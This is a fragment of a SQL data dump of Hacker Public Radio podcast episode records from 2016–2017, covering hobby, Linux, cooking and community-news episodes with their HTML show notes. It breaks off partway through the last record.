(1968,'2016-02-17','Advanced Terminal Usage: byobu',196,'Use this screen multiplexer wrapper to optimize your usage of the terminal, locally, and abroad.','<p>\r\nLong time listener, first time caller, here! My name is Jon Doe, but you can call me Jon.\r\n</p>\r\n<p>\r\nToday, I am going to be talking about a more advanced usage of the terminal in linux. This basic tutorial assumes that you have a basic knowledge of getting to the terminal, and installing software, so we can skip that, and make my job easier.\r\n</p>\r\n<p>\r\nFirst, you have software that you may want to run, and keep running, even if we disconnect, or even if we walk to another machine. Classically, there was \'screen\' for this, but times change, and needs advance. My current favorite is byobu, a wrapper for the screen or tmux terminal multiplexers, tmux by default, now, which is a change since featured on episode 770 of HPR.\r\n</p>\r\n<p>\r\nTo run byobu, simply type it\'s name at the terminal, and watch it\'s magic. When we say it is a wrapper, this is in double context. It encapsulates the tmux or screen binary in script, and it provides some useful enhancements to the already awesome capabilities of a basic multiplexer, including a nice bar at the bottom, detailing the system stats, configurable to whatever stats you need to display.\r\n</p>\r\n<p>\r\nA screen multiplexer is an application that allows the running of multiple terminals, and their applications, within a single remote or local window, allowing you to change tasks with relative ease, similar to a window manager in X, but with no mouse needed.\r\n</p>\r\n<p>\r\nFor a basic test, go ahead and hit F2, and you will get a second terminal, the textual task tray at the bottom indicating your current and available terminals. F3 and F4 allow you to cycle between tasks, and F2 spawns additional.\r\n</p>\r\n<p>\r\nFor those following along, go ahead and hit F6, you will drop back to a shell, with byobu running everything in the background, and you can exit the terminal, or run whatever else you need to, outside of byobu\'s control. Use the byobu command again to reconnect, note that your session has remained open, and all terminal sessions are available for you to peruse. Also note that you can open byobu again, as the same user, both remotely and locally, and keep all of your terminals going, even on multiple systems and screens, at the same time. You can even share the session with others, assuming their ability to login, and cross code, or monitor usage of their session, for educational purposes, or group coding.\r\n</p>\r\n<p>\r\nA popular and useful feature of terminal windows is the ability to maintain a scroll back buffer, and using a multiplexer, ostensibly, destroys this ability on the graphical side, assuming you are using it in a graphical environment, keeping the text for itself. Fear not, good hacker, for the simple application of F7 will activate scroll back mode, and allow your cursor (or arrow) and page keys to scroll up and down the text buffer. Enter settles you back to the end, allowing quick access to whatever just happened in that specific task windows while you were away.\r\n</p>\r\n<p>\r\nThis has been an introduction to advanced terminal usage, brought to you by Jon Doe.\r\n</p>\r\n<p>\r\nAnd for those NPR nerds out there, \"This is HPR, Hacker Public Radio\"\r\n</p>\r\n<p>\r\n<a href=\"https://byobu.co/\">https://byobu.co/</a>\r\n</p>',324,0,1,'CC-BY-SA','byobu, bash, terminal, ssh, remote, linux',0,0,1),
(1971,'2016-02-22','BlinkStick',1080,'The BlinkStick is a small USB device with an RGB LED which you can build yourself','<h1 id=\"blinkstick\">BlinkStick</h1>\r\n<h2 id=\"introduction\">Introduction</h2>\r\n<p>In late 2013 I noticed the local <a href=\"https://edinburghhacklab.com/\" title=\"Edinburgh Hacklab\">Edinburgh Hacklab</a> were offering soldering courses building a <a href=\"https://www.blinkstick.com/\" title=\"BlinkStick\"><em>BlinkStick</em></a>. I offered to sign my son Tim up to the next course since he wanted to learn to solder. He couldn\'t afford the time at that point, but we agreed to buy some <em>BlinkStick</em>s to build at home.</p>\r\n<p>This episode describes some of our experiences with building and using the device.</p>\r\n<p>The version we bought and built was the v1.0 release, since that and the <a href=\"https://www.blinkstick.com/products/blinkstick-pro\" title=\"BlinkStick Pro\"><em>BlinkStick Pro</em></a> were all that was available. The base version now available is v1.1, and there are several other products available from the manufacturer in addition to these. The company is called Agile Innovative Ltd, based in the UK.</p>\r\n<p>I have written out a moderately long set of notes about this subject and these are available here <a href=\"https://hackerpublicradio.org/eps/hpr1971/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr1971/full_shownotes.html</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Edinburgh Hacklab: <a href=\"https://edinburghhacklab.com/\" class=\"uri\">https://edinburghhacklab.com/</a></li>\r\n<li>BlinkStick website: <a href=\"https://www.blinkstick.com/\" class=\"uri\">https://www.blinkstick.com/</a></li>\r\n<li>BlinkStick Pro: <a href=\"https://www.blinkstick.com/products/blinkstick-pro\" class=\"uri\">https://www.blinkstick.com/products/blinkstick-pro</a></li>\r\n<li>Build instructions for BlinkStick v1.0: <a href=\"https://www.blinkstick.com/help/build-1-0\" class=\"uri\">https://www.blinkstick.com/help/build-1-0</a></li>\r\n<li>BlinkStick Software: <a href=\"https://github.com/arvydas\" class=\"uri\">https://github.com/arvydas</a></li>\r\n<li>BlinkStick Tutorials: <a href=\"https://www.blinkstick.com/help/tutorials\" class=\"uri\">https://www.blinkstick.com/help/tutorials</a></li>\r\n<li>BlinkStick Python Wiki: <a href=\"https://github.com/arvydas/blinkstick-python/wiki\" class=\"uri\">https://github.com/arvydas/blinkstick-python/wiki</a></li>\r\n<li>My <code>cronjob_scrape</code> script: <a href=\"https://gitlab.com/davmo/hprmisc/blob/master/cronjob_scrape\" class=\"uri\">https://gitlab.com/davmo/hprmisc/blob/master/cronjob_scrape</a></li>\r\n<li>Adafruit NeoPixel ring: <a href=\"https://www.adafruit.com/products/1586\" class=\"uri\">https://www.adafruit.com/products/1586</a></li>\r\n</ul>\r\n',225,103,1,'CC-BY-SA','BlinkStick,electronics,soldering,RGB LED,Integrated circuit',0,0,1),
(1969,'2016-02-18','Horrors of Spam (and the Greater Horror of filtering it)',917,'In this Episode we will cover the Horror that is spam, and the great horror of filtering it.','<p>\r\nSpam Filtering isn\'t magic.  A lot of work goes into helping keep your inbox clean, but there is still more hosting providers could do.</p>\r\n',174,0,0,'CC-BY-SA','Spam, Spam Filtering, Hosting Providers',0,0,1),
(1972,'2016-02-23','How I got into Linux',1224,'My first podcast. Me rambling about how I got into Linux.','<p>\r\nI will apologize now for some of the rough sound. This was recorded on a very old Sony tape recorder (all I had at the time). Hopefully, the tape hiss will cover up some of my Kentucky accent. Or vice versa. Whatever. This is the saga of me. And Linux. \r\n</p>',325,29,1,'CC-BY-SA','Sony tape recorder,RedHat Linux,Enlightenment E16,dial-up,Mandrake,Debian,Icepack Linux,Slackware,Linux Mint,CrunchBang,OpenBSD',0,0,1),
(1977,'2016-03-01','What\'s In My Bag',914,'EDC/Gear I carry/use','<p>Links to the gear I mention -</p>\r\n<ul>\r\n<li><p>3V Velox II - <a href=\"https://3vgear.com/index.php/packs-and-bags/3v-gear-velox-ii-tactical-assault-pack.html\" class=\"uri\">https://3vgear.com/index.php/packs-and-bags/3v-gear-velox-ii-tactical-assault-pack.html</a></p></li>\r\n<li><p>SOG Powerlock EOD - <a href=\"https://www.sogknives.com/everyday-carry/multi-tools/powerlock-eod-black-oxide.html\" class=\"uri\">https://www.sogknives.com/everyday-carry/multi-tools/powerlock-eod-black-oxide.html</a></p></li>\r\n<li><p>Mini ALICE Pack - <a href=\"https://www.amazon.com/G-I-TYPE-CANVAS-ALICE-PACKS/dp/B000Q7E698/ref=sr_1_1?ie=UTF8&amp;qid=1454647425&amp;sr=8-1&amp;keywords=mini+ALICE+pack\" class=\"uri\">https://www.amazon.com/G-I-TYPE-CANVAS-ALICE-PACKS/dp/B000Q7E698/ref=sr_1_1?ie=UTF8&amp;qid=1454647425&amp;sr=8-1&amp;keywords=mini+ALICE+pack</a></p></li>\r\n<li><p>Engineers Field Bag - <a href=\"https://www.amazon.com/Rothco-Black-M-51-Engineers-Bag/dp/B000YV6Q58/ref=sr_1_1?ie=UTF8&amp;qid=1454647462&amp;sr=8-1&amp;keywords=engineers+field+bag\" class=\"uri\">https://www.amazon.com/Rothco-Black-M-51-Engineers-Bag/dp/B000YV6Q58/ref=sr_1_1?ie=UTF8&amp;qid=1454647462&amp;sr=8-1&amp;keywords=engineers+field+bag</a></p></li>\r\n<li><p>The Pocket Ref - <a href=\"https://www.amazon.com/Pocket-Reference-Thomas-J-Glover/dp/1885071000\" class=\"uri\">https://www.amazon.com/Pocket-Reference-Thomas-J-Glover/dp/1885071000</a></p></li>\r\n<li><p>Stanley Pocket Screwdriver - <a href=\"https://www.amazon.com/Stanley-66-344-4-in-1-Pocket-Screwdriver/dp/B0014KMDZ0\" class=\"uri\">https://www.amazon.com/Stanley-66-344-4-in-1-Pocket-Screwdriver/dp/B0014KMDZ0</a></p></li>\r\n<li><p>Dell Latitude E6500 - <a href=\"https://www.dell.com/us/dfb/p/latitude-e6500/pd\" class=\"uri\">https://www.dell.com/us/dfb/p/latitude-e6500/pd</a></p></li>\r\n<li><p>Motorola Nexus 6 - <a href=\"https://www.motorola.com/us/smartphones/nexus-6/nexus-6-motorola-us.html\" class=\"uri\">https://www.motorola.com/us/smartphones/nexus-6/nexus-6-motorola-us.html</a></p></li>\r\n<li><p>Thermos - <a href=\"https://www.thermos.com/products/vacuum-insulated-40-oz-stainless-king-beverage-bottle.aspx\" class=\"uri\">https://www.thermos.com/products/vacuum-insulated-40-oz-stainless-king-beverage-bottle.aspx</a></p></li>\r\n</ul>',325,23,1,'CC-BY-SA','Velox,multi-tool,Pocket Reference,screwdriver,Thermos',0,0,1),
(1970,'2016-02-19','How I got started with Linux',1665,'I talk at length about how I got started with Linux','<p>\r\nThis story begins at the beginning of 2010.&nbsp; I was broke at the time so I was trying to find a free operating system. I needed something I could run on my PC’s at home. I had searched on the Internet, but found nothing useful for a long time. But one day &nbsp;I was at Barnes and Noble and I saw a magazine for <a class=\"zem_slink\" title=\"Linux\" href=\"https://www.zdnet.com/topics/linux?tag=header;header-sec\" rel=\"zdnet\" target=\"_blank\">Linux</a>. (While I had heard of linux before I never thought of it as something I would ever be able to use.) When I asked people who I knew were computer professionals, I was told it was for people that were experts, and difficult to use. I never heard anything positive about it. I am so amazed that I hadn’t came across it sooner.</p>\r\n<p>When I read the magazine I became exposed to <a class=\"zem_slink\" title=\"Ubuntu (operating system)\" href=\"https://www.ubuntu.com\" rel=\"homepage\" target=\"_blank\">Ubuntu</a> 9.10. &nbsp;Karmic Koala. It sounded so good, as if it was exactly what I was looking for. As a result, I got very excited took it home, and to my surprise had such an easy time installing it to my PC that I decided to run it&nbsp;along with&nbsp;Windows&nbsp;XP as a <a class=\"zem_slink\" title=\"Multi boot\" href=\"https://en.wikipedia.org/wiki/Multi_boot\" rel=\"wikipedia\" target=\"_blank\">dual boot</a> system. All I did was put the <a class=\"zem_slink\" title=\"Live CD\" href=\"https://en.wikipedia.org/wiki/Live_CD\" rel=\"wikipedia\" target=\"_blank\">live CD</a> in the drive and the&nbsp;instructions&nbsp;were step by step you would have to be pretty slow to not get how to set things up.</p>\r\n<p>Since then I have been very satisfied with Ubuntu in general and I have been able to check out later versions of it such as 10.04 (Maverick Meerkat) and 10.10 Lucid Lynx. I am looking forward to 11.04 Natty Narwhal for how it integrates multi-touch even more than 10.04.&nbsp; This experience just goes to show once again how I&nbsp; manage to find the coolest&nbsp;stuff&nbsp;by&nbsp;accident.</p>\r\n<p>I will keep you posted on how I learn and grow with the different distros available so keep posted.</p>\r\n<p>Read more:&nbsp;<a href=\"https://computersight.com/operating-systems/windows/how-i-got-started-with-linux/#ixzz1aPlfhqoa\">https://computersight.com/operating-systems/windows/how-i-got-started-with-linux/#ixzz1aPlfhqoa</a>\r\n</p>',297,29,0,'CC-BY-SA','linux',0,0,1),
(1973,'2016-02-24','Free/Libre/Vrije Software: The Goal and the Path',6929,'A presentation given by Richard Stallman as part of FOSDEM fringe.','<p>\r\n<strong>NOTE for mp3 subscribers:</strong> On the request of RMS, we are not distributing this show in mp3 format. \r\n</p>\r\n\r\n<p>\r\nThis is a live recording of the presentation given by Richard Stallman as part of FOSDEM fringe. It was recorded at Auditorium D0.03, Campus Etterbeek, Vrije Universiteit Brussel, Pleinlaan 2, 1050 Ixelles, Belgium on Jan 29, 2016. You may remember that <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=128\">pokey</a> interviewed Richard Stallman in episode hpr1116 (<a href=\"https://hackerpublicradio.org/eps.php?id=1116\">https://hackerpublicradio.org/eps.php?id=1116</a>)\r\n</p>\r\n\r\n<p>\r\nThe slides for the presentation are available at <a href=\"https://static.fsf.org/nosvn/RMS_Intro_to_FS_TEDx_Slideshow.odp\">https://static.fsf.org/nosvn/RMS_Intro_to_FS_TEDx_Slideshow.odp</a>\r\n</p>\r\n\r\n\r\n<blockquote cite=\"https://en.wikipedia.org/wiki/Richard_Stallman\">\r\nRichard Matthew Stallman (born March 16, 1953), often known by his initials, rms,[1] is a software freedom activist and computer programmer. He campaigns for software to be distributed in a manner such that its users receive the freedoms to use, study, distribute and modify that software. Software that ensures these freedoms is termed free software. Stallman launched the GNU Project, founded the Free Software Foundation, developed the GNU Compiler Collection and GNU Emacs, and wrote the GNU General Public License.\r\n<br />\r\nStallman launched the GNU Project in September 1983 to create a Unix-like computer operating system composed entirely of free software. With this, he also launched the free software movement. He has been the GNU project\'s lead architect and organizer, and developed a number of pieces of widely used GNU software including, among others, the GNU Compiler Collection, the GNU Debugger and the GNU Emacs text editor. In October 1985 he founded the Free Software Foundation.\r\n<br />\r\nStallman pioneered the concept of copyleft, which uses the principles of copyright law to preserve the right to use, modify and distribute free software, and is the main author of free software licenses which describe those terms, most notably the GNU General Public License (GPL), the most widely used free software license.\r\n<br />\r\nIn 1989 he co-founded the League for Programming Freedom. Since the mid-1990s, Stallman has spent most of his time advocating for free software, as well as campaigning against software patents, digital rights management, and other legal and technical systems which he sees as taking away users\' freedoms, including software license agreements, non-disclosure agreements, activation keys, dongles, copy restriction, proprietary formats and binary executables without source code.\r\n<br />\r\nAs of 2014, he has received fifteen honorary doctorates and professorships.\r\n\r\n</blockquote>',30,0,0,'CC-BY-SA','RMS, GNU, Four freedoms',0,0,1),
(1974,'2016-02-25','Ubuntu Community donations, Governance and Hardware',1598,'In general I was feeling bad about how donations work with Ubuntu','<p>\r\nI went to <a href=\"https://Ubuntu.com\">https://Ubuntu.com</a> - <a href=\"https://Xubuntu.org\">https://Xubuntu.org</a>, <a href=\"https://getfedora.org/\">https://getfedora.org/</a> and <a href=\"https://www.opensuse.org/\">https://www.opensuse.org/</a> to see how donations with the linux vendors worked.\r\n</p>\r\n<p>\r\nThe only one that I found was non profit was debain.  It a real nonprofit certification in the USA.\r\n</p>',129,0,0,'CC-BY-SA','donations,Ubuntu,Xubuntu,Fedora,OpenSUSE,Debian',0,0,1),
(1975,'2016-02-26','Interview With An Android App Developer',829,'Sigflup here and holy crud it turns out my brother in law is an android developer','<p>\r\nIt\'s Christmas time and sigflup is spending time interviewing Dillon, who\'s an android developer.\r\n</p>',115,78,1,'CC-BY-SA','interview,android',0,0,1),
(1979,'2016-03-03','How to Make Perfect Steel-Cut Oats',630,'I explain how to make the perfect tasty, nutritious breakfast in a slow cooker','<h2>How to Make Perfect Steel-Cut Oats</h2>\r\n\r\n<p><a href=\"https://en.wikipedia.org/wiki/Steel-cut_oats\">Steel-Cut oats</a> are amazingly good—delicious and nutritious—but they\'re kind of a pain to cook because they\'re so hard and require so much simmering. It can take up to 30 minutes to cook them on the stove top and you have to stir constantly to make sure they don\'t boil over or stick to the pan. I tried doing them in a rice maker and in the microwave, neither of which turned out well. Then I tried the <a href=\"https://en.wikipedia.org/wiki/Slow_cooker\">slow cooker</a> and found that this is the perfect way to make steel-cut oats exactly right every time with hardly any effort.</p>\r\n\r\n<h2>Ingredients</h2>\r\n\r\n<ul>\r\n	<li>Steel-cut oats </li>\r\n	<li>Water (4-to-1 water-to-oats ratio)</li>\r\n	<li>Salt (¼ teaspoon for each ¼ c. oats)</li>\r\n	<li>Pure maple syrup to taste </li>\r\n	<li>Butter to taste</li>\r\n</ul>\r\n\r\n<h2>Instructions</h2>\r\n\r\n<p>Just put all the ingredients in the slow cooker and cook on 200 degrees Fahrenheit for about 4 hours. The water and oats should be combined in a 4 to 1 ratio. When I make this using American measurements, I used 1 Cup water for each ¼ cup of oats. In the metric system this is about 240 ml water for each 40 grams of oats.</p>\r\n\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Slow_cooker\">About Slow Cookers</a></li>\r\n	<li>Example of a <a href=\"https://www.amazon.com/Intermatic-TN111K-15-Amp-Appliance-Timer/dp/B00LBHBLEU\">Light Timer</a></li>\r\n	<li>About <a href=\"https://en.wikipedia.org/wiki/Steel-cut_oats\">Steel-Cut oats</a></li>\r\n</ul>\r\n',238,93,0,'CC-BY-SA','oatmeal, breakfast, cooking, slow cooker, oats, steel-cut oats',0,0,1),
(1985,'2016-03-11','Fixing Bug 1092571',212,'Cant mount drive with cifs but can with kioslave smb','<p>\r\nAfter a windows server upgrade in work, I was no longer able to mount samba network drives from my laptop. Basically it boils down to not been able to mount drives on the console, but been able to browse them in the GUI. After investigating and trying all the options presented, I filed a bug with Fedora.<br />\r\n<a href=\"https://bugzilla.redhat.com/show_bug.cgi?id=1092571\">https://bugzilla.redhat.com/show_bug.cgi?id=1092571</a>\r\n</p>\r\n<p>\r\nDespite filling in all the information, the bug remained untouched by human hands. Robots shut it, I reopened it. To be honest I thought it might be my set-up as nobody else was reporting it as an issue. Sure there were other people reporting problems but not attached to this bug.\r\n</p>\r\n<p>\r\nAnyway I happened to be at FOSDEM (<a href=\"https://hackerpublicradio.org/series.php?id=89\">https://hackerpublicradio.org/series.php?id=89</a>) and spotted Jeremy Allison from the SAMBA project who I had the pleasure of interviewing previously <a href=\"https://hackerpublicradio.org/eps.php?id=1451\">https://hackerpublicradio.org/eps.php?id=1451</a>).\r\n</p>\r\n<p>\r\nJeremy was immediately able to pinpoint the issue to the kernel probably only supporting SMB version 1, while user space uses libsmbclient that supports smb1/smb2.\r\n</p>',30,0,0,'CC-BY-SA','samba, smb1, smb2, /etc/fstab',0,0,1),
(1978,'2016-03-02','Ultra High Vacuum: loading samples',162,'A short overview of how to load a sample into UHV (ultra high vacuum)','<p>\r\nI hope this is the correct version of my introduction to Ultra high vacuum systems and loading samples. \r\n</p>\r\n<p>\r\nPlease consult with a professional before using nitrogen and ultra high vacuum system.\r\n</p>\r\n<p>\r\nNitrogen is dangerous in close environments as it displaces oxygen so please consult the health and safety risks. \r\n</p>\r\n',301,0,1,'CC-BY-SA','Ultra high vacuum,nitrogen',0,0,1),
(2221,'2017-02-06','HPR Community News for January 2017',5117,'HPR Volunteers talk about shows released and comments posted in January 2017','\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=348\" target=\"_blank\">Reg A</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=349\" target=\"_blank\">\"Hannah, of Terra, of Sol\"</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2196\" target=\"_blank\">2196</a></strong></td>\n    <td>Mon</td>\n    <td>2017-01-02</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2196\" target=\"_blank\">HPR Community News for December 2016</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2197\" target=\"_blank\">2197</a></strong></td>\n    <td>Tue</td>\n    <td>2017-01-03</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2197\" target=\"_blank\">Why you should not say Free Software</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2198\" target=\"_blank\">2198</a></strong></td>\n    <td>Wed</td>\n    <td>2017-01-04</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2198\" target=\"_blank\">How awesome is Guix and why will it take over the world</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2199\" target=\"_blank\">2199</a></strong></td>\n    <td>Thu</td>\n    <td>2017-01-05</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2199\" target=\"_blank\">Replacing the Throttle Position Sensor on My Truck</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2200\" target=\"_blank\">2200</a></strong></td>\n    <td>Fri</td>\n    <td>2017-01-06</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2200\" target=\"_blank\">Episode one of the future of free software series</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=344\" target=\"_blank\">spaceman</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2201\" target=\"_blank\">2201</a></strong></td>\n    <td>Mon</td>\n    <td>2017-01-09</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2201\" target=\"_blank\">Matthew \"Lord Drachenblut\" Williams</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2202\" target=\"_blank\">2202</a></strong></td>\n    <td>Tue</td>\n    <td>2017-01-10</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2202\" target=\"_blank\">Makers on YouTube</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2203\" target=\"_blank\">2203</a></strong></td>\n    <td>Wed</td>\n    <td>2017-01-11</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2203\" target=\"_blank\">NOT SO SMART</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2204\" target=\"_blank\">2204</a></strong></td>\n    <td>Thu</td>\n    <td>2017-01-12</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2204\" target=\"_blank\">MASSCAN</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2205\" target=\"_blank\">2205</a></strong></td>\n    <td>Fri</td>\n    <td>2017-01-13</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2205\" target=\"_blank\">Quick Tips Roomba and silicone Packets</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2206\" target=\"_blank\">2206</a></strong></td>\n    <td>Mon</td>\n    <td>2017-01-16</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2206\" target=\"_blank\">Podcasts I Listen To</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=348\" target=\"_blank\">Reg A</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2207\" target=\"_blank\">2207</a></strong></td>\n    <td>Tue</td>\n    <td>2017-01-17</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2207\" target=\"_blank\">NATO phonetic alphabet</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=349\" target=\"_blank\">Hannah, of Terra, of Sol</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2208\" target=\"_blank\">2208</a></strong></td>\n    <td>Wed</td>\n    <td>2017-01-18</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2208\" target=\"_blank\">Kayak Camping</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\" target=\"_blank\">droops</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2209\" target=\"_blank\">2209</a></strong></td>\n    <td>Thu</td>\n    <td>2017-01-19</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2209\" target=\"_blank\">Calibre eBook Server</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2210\" target=\"_blank\">2210</a></strong></td>\n    <td>Fri</td>\n    <td>2017-01-20</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2210\" target=\"_blank\">On Freedom of Speech and Censorship</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2211\" target=\"_blank\">2211</a></strong></td>\n    <td>Mon</td>\n    <td>2017-01-23</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2211\" target=\"_blank\">My podcast workflow</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2212\" target=\"_blank\">2212</a></strong></td>\n    <td>Tue</td>\n    <td>2017-01-24</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2212\" target=\"_blank\">meanderings Cyberpunk and the Minidisc</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=110\" target=\"_blank\">Quvmoh</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2213\" target=\"_blank\">2213</a></strong></td>\n    <td>Wed</td>\n    <td>2017-01-25</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2213\" target=\"_blank\">Clay Body</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=329\" target=\"_blank\">brian</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2214\" target=\"_blank\">2214</a></strong></td>\n    <td>Thu</td>\n    <td>2017-01-26</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2214\" target=\"_blank\">Upgrading Vehicle Lights From Halogen to LED</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2215\" target=\"_blank\">2215</a></strong></td>\n    <td>Fri</td>\n    <td>2017-01-27</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2215\" target=\"_blank\">Kickstarte Omega2 Plus first time setup walkthrough.</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=96\" target=\"_blank\">Jrullo</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2216\" target=\"_blank\">2216</a></strong></td>\n    <td>Mon</td>\n    <td>2017-01-30</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2216\" target=\"_blank\">Working AO-85 with my son</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" target=\"_blank\">Christopher M. Hobbs</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2217\" target=\"_blank\">2217</a></strong></td>\n    <td>Tue</td>\n    <td>2017-01-31</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2217\" target=\"_blank\">building a new voice input device</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by <a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\n(see below) and on the HPR server under <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p><em>Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.</em></p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-January/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-January/thread.html</a>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 51 comments in total.</p>\n<p>There are 11 comments on\n8 previous shows:</p>\n<ul><li><strong><a 